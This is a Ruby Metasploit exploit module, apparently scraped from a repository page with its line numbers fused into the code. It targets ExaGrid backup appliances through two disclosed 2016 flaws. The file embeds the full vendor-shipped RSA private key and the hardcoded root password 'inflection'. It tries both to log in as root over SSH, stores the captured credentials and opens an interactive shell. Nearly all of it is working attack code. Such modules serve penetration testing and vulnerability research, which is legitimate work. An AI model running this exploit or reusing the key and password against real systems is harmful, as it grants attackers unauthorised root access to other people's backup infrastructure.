Path: blob/master/modules/exploits/linux/ssh/exagrid_known_privkey.rb
28507 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'net/ssh'6require 'net/ssh/command_stream'78class MetasploitModule < Msf::Exploit::Remote9Rank = ExcellentRanking1011include Msf::Auxiliary::Report12include Msf::Exploit::Remote::SSH1314def initialize(info = {})15super(16update_info(17info,18{19'Name' => 'ExaGrid Known SSH Key and Default Password',20'Description' => %q{21ExaGrid ships a public/private key pair on their backup appliances to22allow passwordless authentication to other ExaGrid appliances. Since23the private key is easily retrievable, an attacker can use it to gain24unauthorized remote access as root. Additionally, this module will25attempt to use the default password for root, 'inflection'.26},27'Platform' => 'unix',28'Arch' => ARCH_CMD,29'Privileged' => true,30'Targets' => [ [ 'Universal', {} ] ],31'Payload' => {32'Compat' => {33'PayloadType' => 'cmd_interact',34'ConnectionType' => 'find'35}36},37'Author' => ['egypt'],38'License' => MSF_LICENSE,39'References' => [40[ 'CVE', '2016-1560' ], # password41[ 'CVE', '2016-1561' ], # private key42[ 'URL', 'https://www.rapid7.com/blog/post/2016/04/07/r7-2016-04-exagrid-backdoor-ssh-keys-and-hardcoded-credentials' ],43[ 'ATT&CK', Mitre::Attack::Technique::T1021_004_SSH ]44],45'DisclosureDate' => '2016-04-07',46'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },47'DefaultTarget' => 0,48'Notes' => {49'Stability' => [CRASH_SAFE],50'Reliability' => [REPEATABLE_SESSION],51'SideEffects' => []52}53}54)55)5657register_options(58[59# Since we don't include Tcp, we have to register this manually60Opt::RHOST(),61Opt::RPORT(22)62], self.class63)6465register_advanced_options(66[67OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),68OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])69]70)71end7273# helper methods that normally come from Tcp74def rhost75datastore['RHOST']76end7778def rport79datastore['RPORT']80end8182def do_login(ssh_options)83begin84ssh_socket = nil85::Timeout.timeout(datastore['SSH_TIMEOUT']) do86ssh_socket = Net::SSH.start(rhost, 'root', ssh_options)87end88rescue Rex::ConnectionError89return90rescue Net::SSH::Disconnect, ::EOFError91print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"92return93rescue ::Timeout::Error94print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"95return96rescue Net::SSH::AuthenticationFailed97print_error "#{rhost}:#{rport} SSH - Failed authentication"98rescue Net::SSH::Exception => e99print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"100return101end102103if ssh_socket104105# Create a new session from the socket, then dump it.106conn = Net::SSH::CommandStream.new(ssh_socket, logger: self)107ssh_socket = nil108109return conn110else111return false112end113end114115# Ghetto hack to prevent the shell detection logic from hitting false116# negatives due to weirdness with ssh sockets. We already know it's a shell117# because auth succeeded by this point, so no need to do the check anyway.118module TrustMeItsAShell119def _check_shell(*_args)120true121end122end123124def exploit125payload_instance.extend(TrustMeItsAShell)126127ssh_options = ssh_client_defaults.merge({128auth_methods: ['publickey'],129key_data: [ key_data ],130port: rport131})132ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']133134conn = do_login(ssh_options)135136unless is_success?(conn, true)137ssh_options[:auth_methods] = ['password']138ssh_options[:password] = 'inflection'139ssh_options.delete(:key_data)140conn = do_login(ssh_options)141is_success?(conn, false)142end143end144145def success?(conn, key_based)146if conn147print_good 'Successful login'148service_data = {149address: rhost,150port: rport,151protocol: 'tcp',152service_name: 'ssh',153workspace_id: myworkspace_id154}155credential_data = {156username: 'root',157private_type: (key_based ? :ssh_key : :password),158private_data: (key_based ? key_data : 'inflection'),159origin_type: :service,160module_fullname: fullname161}.merge(service_data)162163core = create_credential(credential_data)164login_data = {165core: core,166last_attempted: Time.now167}.merge(service_data)168169create_credential_login(login_data)170171handler(conn.lsock)172true173else174false175end176end177178def key_data179<<~EOF180-----BEGIN RSA PRIVATE KEY-----181MIICWAIBAAKBgGdlD7qeGU9f8mdfmLmFemWMnz1tKeeuxKznWFI+6gkaagqjAF10182hIruzXQAik7TEBYZyvw9SvYU6MQFsMeqVHGhcXQ5yaz3G/eqX0RhRDn5T4zoHKZa183E1MU86zqAUdSXwHDe3pz5JEoGl9EUHTLMGP13T3eBJ19MAWjP7Iuji9HAgElAoGA184GSZrnBieX2pdjsQ55/AJA/HF3oJWTRysYWi0nmJUmm41eDV8oRxXl2qFAIqCgeBQ185BWA4SzGA77/ll3cBfKzkG1Q3OiVG/YJPOYLp7127zh337hhHZyzTiSjMPFVcanrg186AciYw3X0z2GP9ymWGOnIbOsucdhnbHPuSORASPOUOn0CQQC07Acq53rf3iQIkJ9Y187iYZd6xnZeZugaX51gQzKgN1QJ1y2sfTfLV6AwsPnieo7+vw2yk+Hl1i5uG9+XkTs188Ry45AkEAkk0MPL5YxqLKwH6wh2FHytr1jmENOkQu97k2TsuX0CzzDQApIY/eFkCj189QAgkI282MRsaTosxkYeG7ErsA5BJfwJAMOXYbHXp26PSYy4BjYzz4ggwf/dafmGz190ebQs+HXa8xGOreroPFFzfL8Eg8Ro0fDOi1lF7Ut/w330nrGxw1GCHQJAYtodBnLG191XLMvDHFG2AN1spPyBkGTUOH2OK2TZawoTmOPd3ymK28LriuskwxrceNb96qHZYCk19286DC8q8p2OTzYwJANXzRM0SGTqSDMnnid7PGlivaQqfpPOx8MiFR/cGr2dT1HD7y193x6f/85mMeTqamSxjTJqALHeKPYWyzeSnUrp+Eg==194-----END RSA PRIVATE KEY-----195EOF196end197end198199200